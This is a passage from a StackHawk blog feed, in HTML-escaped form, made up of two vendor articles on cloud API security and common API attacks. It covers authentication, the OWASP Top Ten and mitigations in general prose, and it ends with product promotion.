who they say they are. If a user says that they are an admin named AdminUser01, the system must ensure that this person is who they say they are. This can take a variety of forms, including the use of data and hardware keys or authentication tokens that establish the user is accessing the system in a way that is similar to how it has been accessed before. This can also include things such as passwords and other factors.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;What is Authorization?&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Authorization, on the other hand, is proving that a user has the right to access what they are trying to access. This can be accomplished through a variety of mechanisms, including role-based access control, object-level access control, and more. Broken object-level authorization (BOLA) and broken function-level authorization (BFLA) are very common issues, even in otherwise secure authorization implementations - this is a great example of the fact that authorization should be comprehensive and complimentary. Good enough in one area is not good enough for the whole system.&lt;/p&gt;&lt;p&gt;Fortunately,  there are many authorization solutions in the market, and open authorization standards such as OAuth offer a relatively plug-and-play solution at scale.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;Multi-factor Solutions&lt;/b&gt;&lt;/h5&gt;&lt;p&gt; It&amp;#39;s crucial to avoid single points of failure in security systems. Authorization should encompass knowledge, possession, and inherent traits of the user, known as multi-factor authentication.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Security Risks and Threats&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;Common API Security Threats&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In API security discussions, it’s essential to examine the types and scope of vulnerabilities.. First, there are issues of authorization and authentication. These issues stem from inadequate user control and overly permissive access, leading to data and function exposure.&lt;/p&gt;&lt;p&gt;Next, there is the general category of data integrity and process security. Injection attacks, such as SQL injections and cross-site scripting (XSS) issues, can be used to exploit vulnerabilities in APIs. Injection attacks can exploit user input to bypass authentication, threatening API security despite protective measures. Man-in-the-middle attacks can be used to hijack interactions, infiltrating the system with otherwise legitimate traffic.&lt;/p&gt;&lt;p&gt;There are also major concerns with misconfiguration and vendor dependency.  Misconfiguration can undermine even the most secure systems, rendering strong authentication useless. Often, this isn&amp;#39;t due to your actions; choosing a poorly performing vendor can be as detrimental as implementing insecure systems.&lt;/p&gt;&lt;p&gt;With so many risks, how can developers begin to form a plan for tackling this issue?&lt;/p&gt;&lt;h4&gt;&lt;b&gt;OWASP Top Ten&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Luckily, The Open Worldwide Application Security Project, or OWASP, has put together a list called the OWASP Top Ten. While this list is not exhaustive, the OWASP API vulnerabilities list is nonetheless representative of the most common threats to which APIs are exposed.&lt;/p&gt;&lt;p&gt;The OWASP Top Ten divides the most common security issues into the following categories:&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A01:2021-Broken Access Control&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This category of security issues includes services that have broken access control, allowing users to access data without proper security systems standing in the way.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A02:2021-Cryptographic Failures&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This is when cryptographic implementations are flawed, resulting in data exposure or - in serious cases - full system compromise.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A03:2021-Injection&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Injection is when data is forced into the system through transit failure, poor sanitation, etc. Attacks of this kind can expose the underlying data and systems and often come from poor external vendor integration or sanitation procedures.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A04:2021-Insecure Design&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This type of issue comes from poor design processes, including the implementation or poor development paradigms, codebase structures, and security design.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A05:2021-Security Misconfiguration&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This is a broad category, but it is unfortunately very common. Poor configuration can lead to even powerful solutions being rendered basically ineffective, exposing data and creating additional vectors for attacks.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A06:2021-Vulnerable and Outdated Components&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This refers to using outdated or unpatched software components with known vulnerabilities. Attackers can exploit these known weaknesses if not updated or patched promptly.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A07:2021-Identification and Authentication Failures&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This used to be called &amp;quot;Broken Authentication,&amp;quot; but this has also been expanded to include identification issues. This category covers issues where authentication mechanisms are improperly implemented, allowing attackers to compromise passwords, keys, or session tokens.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A08:2021-Software and Data Integrity Failures&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This includes vulnerabilities that occur when software updates, critical data, or CI/CD pipelines are not verified, allowing attackers to inject malicious code or manipulate data.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A09:2021-Security Logging and Monitoring Failures&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;This category highlights the lack of proper logging, monitoring, and alerting mechanisms that can help detect security breaches. Without these, attackers can operate undetected.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;A10:2021-Server-Side Request Forgery&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;SSRF vulnerabilities occur when an attacker is able to induce a server-side application to make HTTP requests to an unintended destination, potentially leading to unauthorized actions or information disclosure.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Secure API Design and Development&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The best way to ensure you have a good security posture is to start early. Adopting some general processes for secure API design and development is a great way to ensure a culture of security.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Secure Coding Practices&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Secure coding practices baked into the application development process itself, such as input validation and error handling, can help prevent common API security threats. Ensuring that the data entering the system has been vetted and sanitized can ensure that even attacks using what seems like valid traffic can be stopped in their tracks, preventing the abuse of your internal authentication and authorization systems.&lt;/p&gt;&lt;p&gt;Using secure protocols, such as HTTPS and TLS, can help protect data transmitted through APIs. This ensures your data is secure in transit and can be protected from man-in-the-middle attacks that might hijack the traffic for nefarious purposes.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Be Defensive&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Approaching your system with defense in mind can help create a more secure implementation for your APIs. Rate limiting and quotas can help prevent denial-of-service attacks and abuse in ways that are often invisible to the average end user, giving you a strong defensive posture from day one.
Using JSON Web Tokens (JWTs) and other secure authentication mechanisms can help protect API endpoints. Pairing this with a Zero-Trust paradigm, where everything is validated and nothing is intrinsically trusted, can ensure that these systems are cross-validated and secured in their own context.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Traffic Management and Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;Managing API Traffic&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A huge first step in securing your traffic is managing traffic generation. Managing traffic involves controlling and regulating the flow of requests and responses between APIs and clients, as well as using load balancers to prevent overload and distribute that traffic across services. This can prevent DDOS attacks and other attacks focused on overwhelming the system.&lt;/p&gt;&lt;p&gt;Implementing caching and content delivery networks (CDNs) can help improve API performance and reduce latency. In doing this, attacks that focus on overwhelming systems and forcing errors can effectively be drastically reduced in efficacy, as the potential damage done by any one attack vector is mitigated.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Monitoring Traffic&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Of course, it&amp;#39;s not good enough to just manage the traffic - you also need to monitor the API events coming into the system. Monitoring traffic involves tracking and analyzing API requests and responses to detect security threats and performance issues.&lt;/p&gt;&lt;p&gt;Implementing real-time monitoring and alerting can help detect and respond to security incidents quickly. In essence, if your API is a secure stronghold, monitoring is a tower by which you can survey the land and ensure your stronghold is not beset by hidden enemies.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Discovery &lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Part of making sure your APIs are secure is knowing that they exist. Of course, in an ideal world we would know of every API ever built within our company. However, the reality is that manual API inventories are not always accurate or up to date, which could lead to untested and potentially vulnerable APIs within your attack surface. This is where &lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt;&lt;u&gt;API discovery tools&lt;/u&gt;&lt;/a&gt; can come in handy to ensure that every API, including those created maliciously or forgotten by accident, is included in testing and API security efforts. Tools like StackHawk actually do this at the code level by searching code repositories for APIs and then marking them to be tested, helping to improve security for all APIs hosted on the cloud or otherwise.&lt;/p&gt;&lt;p&gt;A crucial concept in cloud systems is the ephemeral nature of services and databases, which are continuously created and decommissioned. This ongoing change brings familiar API and data security challenges, along with the crucial need for compliance, accurate record-keeping, and constant awareness in a fast-paced setting.&lt;/p&gt;&lt;p&gt;Let’s consider credential stuffing. In a typical API, the best way to mitigate such threats is to rate limit inputs for credentials and to utilize systems that flag compromised assets. In a cloud API, however, you must be able to do this for services that are being created by the minute - sometimes numbering in the hundreds.&lt;/p&gt;&lt;p&gt;In the cloud environment, typical issues from the development lifecycle are significantly intensified. Weak authentication is problematic on its own, but this issue escalates dramatically when managing hundreds of microservices or data sources, complicating monitoring even further. In such an environment, poor API security posture exacerbates the problem to the nth degree.&lt;/p&gt;&lt;p&gt;Cloud services also typically use a wide spread of protocols and approaches. &lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt;&lt;u&gt;REST APIs&lt;/u&gt;&lt;/a&gt; might work closely with SOAP (or Simple Object Access Protocol) APIs, &lt;a href=&quot;https://www.stackhawk.com/blog/best-practices-for-grpc-security/&quot;&gt;&lt;u&gt;gRPC APIs&lt;/u&gt;&lt;/a&gt;, WebSockets, and much more. These services might rapidly appear and disappear, and the API risks that are inherent with such complicated systems can rapidly become even harder to track or be aware of.&lt;/p&gt;&lt;p&gt;To that point, cloud security is largely about making API security intrinsic to the integration and development process. Unsafe consumption can be prevented when developers are mindful of the practice. Web application and API risks can be mitigated with more secure development. Solutions deployed early on such as federated token-based authentication, can ensure the ability to properly authenticate users even when the system is incredibly complex.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best Practices for Securing Cloud APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When securing Cloud APIs, it’s critical to implement a series of best practices to protect against unauthorized access and ensure data integrity. Here&amp;#39;s a list of API security best practices for securing your cloud APIs:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use Strong Authentication: Implement strong, multifactor authentication mechanisms to verify the identity of users and services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Leverage OAuth 2.0: Utilize OAuth 2.0 protocol for delegated authorization, providing tokens instead of sharing credentials.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Employ Role-Based Access Control (RBAC): Define roles and privileges to limit access to API functionalities based on user roles.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API Keys: Use API keys for simpler scenarios with caution, ensuring they are not exposed in client-side code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Encryption and Data Protection&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Enforce TLS: Use Transport Layer Security (TLS) to encrypt data in transit between the client and your API.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sensitive Data: Avoid transmitting sensitive data unless necessary, and if you must, use additional end-to-end encryption.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Data at Rest Security: Protect data at rest through encryption and secure key management practices.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Traffic Management&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Rate Limiting: Implement rate limiting to prevent abuse and mitigate DDoS attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Throttling: Use throttling to control the amount of incoming traffic, ensuring equitable resource utilization and prioritizing legitimate users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Quotas: Enforce quotas to limit the number of requests a user can make within a specified timeframe.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Monitoring and Logging&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Audit Logs: Ensure detailed logging for all API access and transactions for future audits and anomaly detection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Monitoring and Alerting: Use real-time monitoring tools to track API usage and performance, with automated alerts for suspicious activities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Anomaly Detection: Implement systems for detecting and responding to abnormal API usage patterns that may indicate a breach.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;API Gateway and Management&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;API Gateway: Use an API gateway to manage API requests, enforce policies, and provide an additional layer of security.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Microservices Security: When using microservices architecture, secure each individual service and API accordingly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Version Management: Properly manage API versions to phase out older, potentially less secure endpoints.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Patching and Maintenance&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Regular Updates: Keep all your API components and dependencies up to date with the latest security patches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Vulnerability Scanning: Perform regular vulnerability scans to identify and remediate security weaknesses.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Dependency Management: Track and manage third-party libraries and dependencies, ensuring they are secure and kept up-to-date.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Input Validation and Output Encoding&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Strong Input Validation: Reject any API requests with unexpected or dangerous input to prevent injection attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Output Encoding: Encode data sent via APIs to prevent cross-site scripting (XSS) and other injection attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Error Handling&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Standardize Error Responses: Use generic error messages to prevent attackers from inferring excessive details about the backend system.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Exception Management: Properly handle exceptions to prevent leakage of stack traces or other sensitive information.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Documentation and Education&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;API Documentation: Provide clear documentation for the API, outlining secure usage best practices for consumers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Training: Educate developers on secure coding practices and security considerations specifically related to API development.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Compliance and Legal Aspects&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Regulatory Compliance: Ensure your API meets all relevant regulatory compliance standards, like GDPR, HIPAA, or PCI-DSS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Data Protection Laws: Understand and adhere to the data protection laws applicable to the geographical locations where your service operates.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Implementing these best practices is essential to securing Cloud APIs. Regularly reviewing and updating security measures is critical in adapting to new threats and maintaining strong API security.&lt;/p&gt;&lt;p&gt;Remember that there are many standards and solutions that have evolved in the cloud environment. Cloud security frameworks and standards, such as the Cloud Security Alliance (CSA) and the Open Web Application Security Project (OWASP), can help ensure cloud API security using time-tested approaches to protect sensitive information and data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Choosing the Right API Security Solution&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;It is vital that you choose the right &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;API security solution&lt;/u&gt;&lt;/a&gt;. Once you have data exposed, the cat is out of the bag, so it&amp;#39;s important to get this right the first time.  API security solutions encompass API gateways, security proxies, and cloud-based services. A thorough evaluation of their features and capabilities as a unified system aids in selecting an optimal solution tailored to your APIs, environment, and requirements.&lt;/p&gt;&lt;p&gt;No one solution is inherently secure, so considering your security as a complete offering - while considering the scalability, performance, and cost of API security solutions - can help ensure that you choose a solution that meets your needs and budget.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Compliance Considerations for Cloud APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt; Cloud APIs pose unique challenges in regulatory and compliance frameworks. Although they function similarly to regular APIs, their decentralized and distributed processing complicates compliance issues. This is particularly relevant under the General Data Protection Regulation (GDPR), where cloud services might use resources both within and outside GDPR jurisdictions, serving global users.&lt;/p&gt;&lt;p&gt;Much of this complexity arises from the difficulty in precisely auditing where data is stored and in what form. Compliance with industry standards, such as HIPAA for healthcare or PCI-DSS for payment processing, requires maintaining an audit trail for resources. However, this becomes particularly challenging in cloud environments where resources are dynamically activated and deactivated based on demand. &lt;/p&gt;&lt;p&gt;In cloud contexts, maintaining observability and auditability is even more critical. Strong authentication protocols such as OAuth and SAML contribute to this, mainly by facilitating access auditing. However, auditing data storage requires robust logging and monitoring systems at the data level to ensure security.&lt;/p&gt;&lt;p&gt;Federated services can do a lot of the heavy lifting here, allowing for ample tracking with authenticated systems that are federated and delegated, allowing for a centralization of information and a decentralization of operation.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How StackHawk Can Help with Cloud API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Infrastructure is only one piece of the puzzle when it comes to deploying APIs in the cloud. At the code level, ensuring that applications are secure is also crucial. StackHawk&amp;#39;s &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;modern dynamic API security testing (DAST) platform&lt;/u&gt;&lt;/a&gt; allows developers to test locally or in CI/CD, allowing them to detect and remedy potential security issues lurking within their applications.&lt;/p&gt;&lt;p&gt;Testing before the code can hit production servers running on the cloud is an essential first step in cloud API security. Experience StackHawk firsthand by&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;signing up for a 14-day free trial today&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top API Security Attacks: Understanding and Mitigating the Risks]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-api-security-attacks-understanding-and-mitigating-the-risks</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces) enable different applications to engage in effective data exchange, forming the backbone of countless web services, mobile apps, and internal enterprise systems. With this increased reliance on APIs, however, comes a heightened risk of security breaches. Like other software components, APIs are vulnerable to attacks that can expose sensitive data, disrupt operations, and harm an organization’s reputation. Understanding these risks and taking proactive measures to mitigate them is crucial for any business relying on APIs.&lt;/p&gt;&lt;p&gt;This blog will explain API security, highlight common attack vectors, and provide best practices for protecting your APIs and reducing vulnerabilities that attackers could exploit. We’ll look at how API attacks work, the potential fallout from breaches, and the steps you can take to bolster your API security posture. Regardless of your experience level with APIs, this blog aims to provide valuable insights into the critical world of API security.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Are API Security Risks?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security risks include vulnerabilities or weaknesses within an API that malicious actors could exploit. These risks can stem from many factors, including design flaws, implementation errors, misconfigurations, or a lack of proper security measures. If not adequately protected, this data becomes a prime target for attackers.&lt;/p&gt;&lt;p&gt;A successful API attack can result in data breaches, unauthorized access, service disruptions, or financial losses. The potential consequences of API security breaches are significant, making it critical for organizations to prioritize API security and proactively address potential risks. Understanding these risks is crucial for developing a robust API security strategy. By identifying and addressing potential vulnerabilities, you can proactively protect your APIs and the valuable assets they manage.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common API Security Risks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are increasingly becoming prime targets for cyberattacks due to their critical role in modern applications. As APIs grow in functionality and usage, they introduce a range of security risks that malicious actors can exploit. Understanding these risks is essential for protecting your systems and data. Below are some of the most common API security vulnerabilities that organizations must address:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection attacks exploit how APIs handle user input. These attacks occur when an attacker injects malicious code or commands that the API mistakenly executes. In a&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; attack, an attacker can alter a database query to access or manipulate unauthorized data. These attacks can bypass authentication, compromise databases, and potentially take control of the API server.&lt;/p&gt;&lt;p&gt;Preventing injection attacks requires validating and sanitizing inputs, using parameterized queries, and applying the principle of least privilege for database access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Weak authentication and authorization mechanisms, such as simple passwords, lack of multi-factor authentication, or insecure session management, can allow attackers to impersonate users, gain unauthorized access, or escalate privileges. If an API doesn’t validate session tokens properly, an attacker could hijack a session. Access control is absolutely vital to prevent unauthorized parties and threat actors from circumventing your security policies.&lt;/p&gt;&lt;p&gt;Mitigation strategies include enforcing strong passwords, implementing multi-factor authentication, securely managing sessions, and applying the principle of least privilege to limit access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Excessive data exposure occurs when APIs return more data than necessary, often due to insufficient filtering of responses. This can provide attackers access to sensitive information, such as user credentials, personally identifiable information (PII), or confidential business data. An API might return full user profiles, including sensitive details, when only basic information is required.&lt;/p&gt;&lt;p&gt;To mitigate this risk, it&amp;#39;s important to limit the data returned by APIs to what is strictly necessary, enforce proper data filtering, and conduct regular audits to ensure no unnecessary data is exposed.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Resources and Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Without proper resource and rate limiting, APIs may become overwhelmed by an excessive number of requests. This can lead to performance issues or even denial-of-service (DoS) attacks. Attackers can exploit this by sending a deluge of requests to exhaust server resources, thus rendering the API unresponsive to legitimate users.&lt;/p&gt;&lt;p&gt;An API without rate limiting might face numerous requests per second, leading to slowdowns or crashes. Distributed denial-of-service (DDoS) attacks utilize distributed bot traffic; as the attacker floods your system with a mix of bots and zombie devices, they can limit your ability to operate in the market and generate significant costs, potentially driving a small service provider to bankruptcy.&lt;/p&gt;&lt;p&gt;To prevent this, implement rate limiting to control the number of requests a client can make in a given period, and allocate resources appropriately to handle unexpected spikes in traffic.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security misconfiguration occurs when APIs are deployed with insecure settings, such as using default credentials, exposing unnecessary endpoints, or failing to apply security patches. These misconfigurations create easy entry points for attackers. An API with default admin credentials can be easily accessed by an attacker, allowing them to take control of the system.&lt;/p&gt;&lt;p&gt;To prevent security misconfiguration, it is crucial to regularly audit API configurations, remove or disable unnecessary features, apply security patches promptly, and replace default credentials with strong, unique ones.&lt;/p&gt;&lt;p&gt;Understanding these common API security risks is crucial for developing effective mitigation strategies and protecting your APIs from threats. By staying informed about the latest attack vectors and implementing robust security measures, you can significantly reduce your API attack surface and safeguard your valuable data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How API Attacks Can Gain Unauthorized Access&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API attacks can use various tactics to gain unauthorized access to sensitive data or systems. Understanding these methods is crucial for implementing effective security mechanisms.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore some common strategies employed by attackers:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Exploiting Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Attackers frequently scan APIs for known vulnerabilities, such as injection flaws,&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;broken authentication&lt;/u&gt;&lt;/a&gt;, or excessive data exposure. Upon discovering a weakness, they create malicious API requests to exploit it, gaining unauthorized access to data or system functions. Regular security testing and prompt patching are critical to minimizing these risks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Brute-Forcing Credentials&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In brute-force attacks, attackers systematically attempt different combinations of usernames and passwords until they find valid credentials. These attacks often target APIs with weak or no rate-limiting controls, making them vulnerable to such guessing attempts. Implementing account lockout mechanisms, enforcing strong password policies, and enabling multi-factor authentication can help defend against brute-force attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Man-in-the-Middle Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Man-in-the-middle (MITM) attacks occur when an attacker intercepts communication between the API and the client, allowing them to eavesdrop on or alter the transmitted data. This can lead to unauthorized access to sensitive information or manipulation of requests to an API endpoint. To prevent MITM attacks, it is essential to use strong encryption (e.g., TLS) for all data in transit and to authenticate both the client and the server.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Social Engineering&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Social engineering attacks exploit human behavior to gain unauthorized access to APIs. Techniques like phishing or pretexting deceive users into revealing their credentials or providing access to the attacker. An attacker might send a fake email that appears to be from a trusted source, prompting the user to log in to a malicious site. Educating users about social engineering tactics and implementing robust authentication methods can mitigate these risks.&lt;/p&gt;&lt;p&gt;By employing these tactics, attackers can bypass security measures, gain access to APIs, and potentially compromise sensitive data or disrupt operations. Organizations must implement robust security measures, such as strong authentication, input validation, and encryption, to protect their APIs from potential breaches.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Consequences of API Security Breaches&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security breaches can lead to the exposure or theft of sensitive data, like customer information, financial records, or intellectual property. The result can be significant financial losses, legal liabilities, and damage to an organization’s reputation.&lt;/p&gt;&lt;p&gt;The financial impact of these breaches extends beyond data loss. Organizations may face costs related to incident response, forensic investigations, legal fees, customer notifications, and potential regulatory fines. Additionally, API attacks can disrupt critical business operations, leading to service outages, downtime, and lost productivity. This can negatively affect revenue, customer satisfaction, and overall business performance.&lt;/p&gt;&lt;p&gt;A security breach can also severely tarnish an organization&amp;#39;s reputation, eroding customer trust and loyalty, and making recovery a long and challenging process. Organizations may face legal action or regulatory penalties if they fail to adequately protect sensitive data, especially under regulations like GDPR or CCPA. The potential consequences of API security breaches highlight the critical need for proactive security measures.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating API Security Risks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Organizations can mitigate API security risks by adopting several key strategies. First, implement &lt;b&gt;strong authentication and authorization&lt;/b&gt; mechanisms, such as multi-factor authentication (MFA) and OAuth 2.0, to verify user identities and enforce role-based access controls. &lt;b&gt;Input validation and sanitization&lt;/b&gt; are crucial for preventing injection attacks; techniques like parameterized queries can help secure APIs from SQL injection vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Encrypting data&lt;/b&gt; at rest and in transit is essential for protecting sensitive information from unauthorized access. Strong encryption algorithms and secure key management practices should be standard. &lt;b&gt;Rate limiting and throttling &lt;/b&gt;are necessary to prevent denial-of-service (DoS) attacks by controlling the volume of requests to your API endpoints. &lt;b&gt;Regular security testing&lt;/b&gt;, including penetration tests and vulnerability scans, is vital for identifying and fixing potential weaknesses before they are exploited.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Monitoring and logging&lt;/b&gt;, supported by security information and event management (SIEM) tools, are critical for detecting and responding to suspicious activity in real time. Lastly, fostering a culture of security awareness through training ensures that developers and stakeholders understand and apply&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt; &lt;u&gt;API security best practices&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Implementing these strategies can reduce an organization&amp;#39;s API attack surface and strengthen their overall security posture.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best Practices for API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The threats facing APIs are constantly evolving, and staying one step ahead is crucial. Adopting industry-recognized best practices and implementing robust security measures can make your API a much harder target for attackers. Here are some best practices to help you stay ahead of the curve.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Strong Authentication and Authorization&lt;/b&gt;: Implement stringent access controls to ensure only authorized entities can interact with your API. Use proven security mechanisms such as OAuth 2.0, JSON Web Tokens (JWTs), or API keys for authentication. Leverage fine-grained authorization to restrict access at the resource level, granting users only the necessary permissions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation and Sanitization&lt;/b&gt;: Treat all user input as potentially malicious. Implement comprehensive validation and sanitization procedures to prevent injection attacks, including SQL injection,&lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Cross-Site Scripting&lt;/u&gt;&lt;/a&gt; (XSS), and&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-command-injection/&quot;&gt; &lt;u&gt;command injection&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Error Handling&lt;/b&gt;: Exercise caution when generating error messages. Ensure they are generic and do not inadvertently disclose sensitive information about your system or its 